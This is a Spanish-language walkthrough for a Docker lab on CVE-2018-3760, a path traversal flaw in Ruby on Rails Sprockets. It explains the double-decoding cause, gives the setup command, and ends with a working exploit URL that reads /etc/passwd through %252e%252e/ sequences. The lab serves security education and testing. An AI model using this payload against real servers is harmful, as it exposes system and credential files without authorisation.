
Laboratorio basado en Docker que demuestra el path traversal CVE-2018-3760 en Ruby on Rails Sprockets, con PoC y configuración del entorno para pruebas de seguridad y educación.
Ruby On Rails es un conocido framework de desarrollo web en Ruby, que utiliza Sprockets como servidor de archivos estáticos en el entorno de desarrollo. Sprockets es una biblioteca de Ruby que compila y distribuye archivos de recursos estáticos.
Existe una vulnerabilidad de path traversal causada por una decodificación secundaria en Sprockets 3.7.1 y versiones anteriores. Un atacante puede usar %252e%252e/ para acceder al directorio raíz y leer o ejecutar cualquier archivo en el servidor objetivo.
Enlaces de referencia:
Ejecute el siguiente comando:
docker-compose up -d
Visite http://your-ip:3000 y verá la página de bienvenida.
Se producirá un error al visitar http://your-ip:3000/assets/file:%2f%2f/etc/passwd directamente, ya que el archivo /etc/passwd no está en el directorio permitido.

Podemos obtener una lista de directorios permitidos desde la página de error. Simplemente seleccione uno de ellos, como /usr/src/blog/app/assets/images, luego use %252e%252e/ para saltar al directorio padre, y finalmente lea el archivo /etc/passwd:
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
